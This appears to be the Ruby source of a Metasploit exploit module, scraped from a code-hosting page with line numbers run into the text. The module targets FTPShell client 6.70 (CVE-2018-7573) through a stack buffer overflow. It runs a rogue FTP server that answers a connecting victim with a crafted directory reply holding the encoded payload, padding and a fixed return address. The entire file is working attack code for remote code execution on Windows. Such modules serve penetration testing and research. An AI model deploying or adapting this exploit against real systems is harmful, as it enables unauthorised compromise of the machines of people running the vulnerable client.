Path: blob/master/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise17edition) allowing remote code execution.18},19'Author' => [20'r4wd3r', # Original exploit author21'Daniel Teixeira' # MSF module author22],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2018-7573'],26[ 'EDB', '44596' ]27],28'Payload' => {29'Space' => 400,30'BadChars' => "\x00\x22\x0d\x0a\x0b"31},32'Platform' => 'win',33'Targets' => [34# CALL ESI in FTPShell.exe : 0x00452eed35[ 'Windows Universal', { 'Ret' => "\xed\x2e\x45" } ]36],37'Privileged' => false,38'DefaultOptions' => {39'SRVHOST' => '0.0.0.0',40'EXITFUNC' => 'thread'41},42'DisclosureDate' => '2017-03-04',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]53end5455def exploit56srv_ip_for_client = datastore['SRVHOST']57if srv_ip_for_client == '0.0.0.0'58if datastore['LHOST']59srv_ip_for_client = datastore['LHOST']60else61srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')62end63end6465srv_port = datastore['SRVPORT']6667print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")68super69end7071def on_client_connect(client)72p = regenerate_payload(client)73return if p.nil?7475print_status("#{client.peerhost} - connected.")7677res = client.get_once.to_s.strip78print_status("#{client.peerhost} - Request: #{res}") unless res.empty?79print_status("#{client.peerhost} - Response: Sending 220 Welcome")80welcome = "220 Welcome.\r\n"81client.put(welcome)8283res = client.get_once.to_s.strip84print_status("#{client.peerhost} - Request: #{res}")85print_status("#{client.peerhost} - Response: sending 331 OK")86user = "331 OK.\r\n"87client.put(user)8889res = client.get_once.to_s.strip90print_status("#{client.peerhost} - Request: #{res}")91print_status("#{client.peerhost} - Response: Sending 230 OK")92pass = "230 OK.\r\n"93client.put(pass)94res = client.get_once.to_s.strip95print_status("#{client.peerhost} - Request: #{res}")9697sploit = '220 "'98sploit << payload.encoded99sploit << "\x20" * (payload_space - payload.encoded.length)100sploit << target.ret101sploit << "\" is current directory\r\n"102103print_status("#{client.peerhost} - Request: Sending the malicious response")104client.put(sploit)105end106end107108109